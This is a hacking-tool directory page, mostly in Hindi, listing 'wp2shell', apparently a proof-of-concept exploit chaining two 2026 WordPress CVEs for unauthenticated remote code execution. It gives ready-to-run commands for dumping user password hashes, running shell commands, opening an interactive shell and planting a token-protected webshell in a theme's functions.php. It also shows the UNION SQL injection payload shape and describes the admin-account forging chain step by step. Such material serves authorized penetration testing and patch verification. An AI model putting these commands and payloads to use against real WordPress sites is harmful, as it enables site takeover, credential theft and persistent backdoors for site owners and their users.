Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
CVE-2026-63030-POC — CVE-2026-63030 / wp2shell | Kitploit
उपकरण/GitHubGitHub/4b3r4m4-607d/cve-2026-63030-poc
प्रमाणीकरण और प्राधिकरणभेद्यता विश्लेषणशोषणवेब एप्लिकेशन शोषणवेब सुरक्षापेनिट्रेशन टेस्टिंगलर्निंग और शिक्षारेड टीमिंगपेलोड डेवलपमेंट
GitHub4b3r4m4-607d/cve-2026-63030-poc

CVE-2026-63030-POC

CVE-2026-63030 / wp2shell

21 महीना पहलेअभी तक समीक्षित नहीं

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
रिपॉजिटरी देखें

wp2shell — CVE-2026-63030 + CVE-2026-60137

वन-डे WordPress RCE एक्सप्लॉइट श्रृंखला। बिना प्रमाणीकरण। CVSS 9.8.

शून्य निर्भरताएँ — केवल Python 3.8+ stdlib।

प्रभावित संस्करण

ब्रांचअसुरक्षितपैच किया गया
6.9.x6.9.0 – 6.9.4≥ 6.9.5
7.0.x7.0.0 – 7.0.1≥ 7.0.2

श्रृंखला

बिना प्रमाणीकरण वाले रिमोट कोड निष्पादन के लिए दो CVE को जोड़ा गया है:

root@kitploit:~
CVE-2026-63030 (route confusion)  →  batch desync bypasses auth
           +
CVE-2026-60137 (SQL injection)    →  author__not_in sinks raw into SQL
           ↓
   UNION-forge WP_Post rows  →  customizer changeset bridge  →  admin created
           ↓
   Login as admin  →  theme editor  →  webshell  →  RCE

त्वरित आरंभ

root@kitploit:~
# Probe only — non-destructive, confirms vulnerability
python3 exploit.py --url http://target:8080 --check

# Extract admin password hashes from the database
python3 exploit.py --url http://target:8080 --dump-users

# Full chain: SQLi → admin → webshell → command
python3 exploit.py --url http://target:8080 --cmd "id; uname -a"

# Interactive shell (with working directory tracking)
python3 exploit.py --url http://target:8080 --shell

# Read arbitrary data via UNION SQL injection
python3 exploit.py --url http://target:8080 --read "SELECT @@version"

# Skip pre-auth bridge — use known credentials
python3 exploit.py --url http://target:8080 --user admin --password hunter2 --cmd whoami

विकल्प

root@kitploit:~
--url URL          Target WordPress base URL (required)
--check            Probe only — do not exploit
--dump-users       Extract all user credentials via UNION SQLi
--read SQL         Read a scalar SQL expression from the database
--cmd CMD          Run a shell command on the target
--shell            Open an interactive shell
--user USER        Admin username (skip pre-auth admin creation)
--password PASS    Admin password (use with --user)
--proxy URL        HTTP proxy (e.g. http://127.0.0.1:8080)
--timeout SEC      Request timeout (default: 30)
--no-cleanup       Leave webshell and admin user on target

यह कैसे काम करता है

रूट कन्फ्यूज़न (CVE-2026-63030)

WordPress का बैच एंडपॉइंट /?rest_route=/batch/v1 उप-अनुरोधों की एक सरणी (array) स्वीकार करता है। जब किसी उप-अनुरोध का पथ अपठनीय होता है (///), तो एक WP_Error $validation में जोड़ा जाता है, लेकिन $matches में नहीं। फिर डिस्पैच लूप अनुरोध N को हैंडलर N+1 के साथ जोड़ता है — इसलिए एक अनुरोध जो एक स्कीमा के विरुद्ध मान्य किया गया है, उसे एक भिन्न हैंडलर पर डिस्पैच कर दिया जाता है।

एक्सप्लॉइट 3-परत वाला नेस्टेड बैच भेजता है, जहाँ प्रत्येक परत इंडेक्स को स्थानांतरित करने के लिए स्थिति 0 पर एक desync प्राइमर का उपयोग करती है। सबसे भीतरी अनुरोध — जो एकल-पोस्ट आइटम (GET /wp/v2/posts/999999) के रूप में मान्य किया गया है — कलेक्शन हैंडलर (posts->get_items()) पर पहुँचता है। चूँकि आइटम स्कीमा author_exclude को परिभाषित नहीं करती है, पैरामीटर बिना मान्यता के पास हो जाता है।

SQL इंजेक्शन (CVE-2026-60137)

get_items() author_exclude → author__not_in को मैप करता है और इसे WP_Query में पास करता है। जब author__not_in एक स्ट्रिंग होता है (सरणी नहीं), तो array_map('absint', …) ब्लॉक को छोड़ दिया जाता है। अपरिष्कृत स्ट्रिंग सीधे इसमें पहुँचती है:

root@kitploit:~
WHERE post_author NOT IN (<payload>)

पेलोड 0) UNION ALL SELECT …-- - NOT IN सूची को बंद करता है और मनमाना SQL जोड़ देता है।

UNION एक्सट्रैक्शन

WordPress 7.0.x wp_posts में ठीक 23 कॉलम होते हैं। UNION ALL SELECT के माध्यम से orderby=none (पिछले ORDER BY को दबाता है) और per_page=500 (WP_Query को फुल-रो मोड में रखता है) के साथ एक गढ़ी गई पंक्ति इंजेक्ट करके, गढ़ा गया पोस्ट शीर्षक — जिसमें ||HEX|| मार्कर होता है — REST प्रतिक्रिया में प्रतिबिंबित होता है। सभी स्ट्रिंग मान URL एन्कोडिंग के माध्यम से कोट-एस्केपिंग समस्याओं से बचने के लिए MySQL हेक्स लिटरल (0x…) का उपयोग करते हैं।

प्री-ऑथ व्यवस्थापक निर्माण

  1. [embed] शॉर्टकोड युक्त एक पोस्ट UNION से गढ़ें → WordPress 3 oembed_cache पंक्तियाँ बनाता है
  2. UNION एक्सट्रैक्शन के माध्यम से 3 कैश पोस्ट ID को वापस पढ़ें
  3. कस्टमाइज़र चेंजसेट श्रृंखला बनाते हुए 7 संरचित wp_posts पंक्तियाँ UNION से गढ़ें
  4. [embed] शॉर्टकोड रेंडर होता है, जो WP_Embed::shortcode() → wp_update_post() → WP_Customize_Manager → wp_insert_user() को ट्रिगर करता है
  5. एक यादृच्छिक उपयोगकर्ता नाम (wp2_<random>) और पासवर्ड (Wp2!<random>) के साथ व्यवस्थापक बनाया जाता है

वेबशेल परिनियोजन

नए एडमिन के रूप में लॉगिन करें → थीम एडिटर नॉन्स निकालें → सक्रिय थीम के functions.php के शीर्ष पर टोकन-सुरक्षित PHP वेबशेल इंजेक्ट करें → ?t=<token>&c=<command> के माध्यम से एक्सेस करें।

आवश्यकताएँ

  • Python 3.8 या उससे नया
  • शून्य बाहरी निर्भरताएँ — केवल stdlib का उपयोग करता है (urllib, json, re, hashlib, secrets, html)
  • लक्ष्य में कम से कम एक प्रकाशित पोस्ट या पेज होना चाहिए (oEmbed कैश सीडिंग के लिए)

सीमाएँ

  • Docker loopback: WordPress का फ़ाइल एडिटर सहेजने से पहले wp_remote_post() लूपबैक जाँच करता है। यदि कंटेनर होस्टनाम से स्वयं तक नहीं पहुँच पाता है, तो थीम संपादन अवरुद्ध हो जाता है। ऐसे मामलों में --dump-users + मैन्युअल लॉगिन का उपयोग करें।
  • कोई प्रकाशित पोस्ट नहीं: oEmbed कैश सीड के लिए कम से कम एक सार्वजनिक permalink आवश्यक है। सेटअप के बाद एक खाली WordPress इंस्टॉल में "Hello world!" और "Sample Page" दोनों होते हैं।
  • WAF / mod_security: भारी अनुरोध फ़िल्टरिंग नेस्टेड बैच पेलोड को अवरुद्ध कर सकती है। पहले --check के साथ परीक्षण करें।

सत्यापन

root@kitploit:~
$ python3 exploit.py --url http://target --check
[+] VULNERABLE — route-confusion behavior detected!
[+] UNION SQLi extraction confirmed — in-band read available

$ python3 exploit.py --url http://target --dump-users
[*] 11 user(s) in wp_users:
  ID=1  login=admin
        pass=$wp$2y$10$...
  ...

अस्वीकरण

यह उपकरण केवल अधिकृत सुरक्षा अनुसंधान और शैक्षिक उद्देश्यों के लिए है। इसका उपयोग केवल उन सिस्टमों के विरुद्ध करें जिनके स्वामी आप हैं या जिनके परीक्षण की स्पष्ट अनुमति आपके पास है। लेखक दुरुपयोग के लिए कोई दायित्व नहीं लेते हैं।

श्रेय

  • WPScan — CVE प्रकटीकरण (CVE-2026-63030, CVE-2026-60137)
  • NVD — CVE डेटाबेस
टूल डाउनलोड करें
चरणCVEवेक्टर
1CVE-2026-63030REST /batch/v1 इंडेक्स गलत संरेखण सत्यापन को डिस्पैच से डीसिंक कर देता है
2CVE-2026-60137author__not_in WP_Query पैरामीटर स्ट्रिंग के रूप में पास होने पर absint() को छोड़ देता है
3—UNION SELECT wp_posts पंक्तियाँ गढ़ता है; oEmbed → customizer → wp_insert_user
4—नए बनाए गए व्यवस्थापक के रूप में प्रमाणित करें
5—थीम एडिटर सक्रिय थीम में टोकन-सुरक्षित वेबशेल इंजेक्ट करता है